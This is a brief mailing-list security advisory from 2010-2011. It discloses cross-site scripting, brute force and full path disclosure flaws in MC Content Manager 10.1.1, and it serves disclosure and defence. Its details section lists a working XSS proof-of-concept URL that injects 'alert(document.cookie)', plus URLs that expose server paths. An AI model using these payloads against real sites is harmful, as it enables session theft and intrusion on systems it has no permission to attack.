MC Content Manager version 10.1.1 suffers from cross site scripting and path disclosure vulnerabilities.
3cc9cbcfa2a59681c7b07190cac097d52e9166477e4d4ce4697cfecf828bc3ac
Hello list!
I want to warn you about Cross-Site Scripting, Brute Force and Full path
disclosure vulnerabilities in MC Content Manager. It's Ukrainian commercial
CMS.
-------------------------
Affected products:
-------------------------
Vulnerable are potentially all versions of MC Content Manager (MC Content
Manager v.10.1.1 and previous versions).
----------
Details:
----------
XSS (WASC-08):
http://site/cms/;alert(document.cookie);/*
Brute Force (WASC-11):
http://site/admin/
Full path disclosure (WASC-13):
http://site/cms/1/
http://site/ru/cms/1
http://site/en/cms/1
------------
Timeline:
------------
2010.11.05 - announced at my site.
2010.11.06 - informed developers.
2011.01.15 - disclosed at my site.
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4658/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua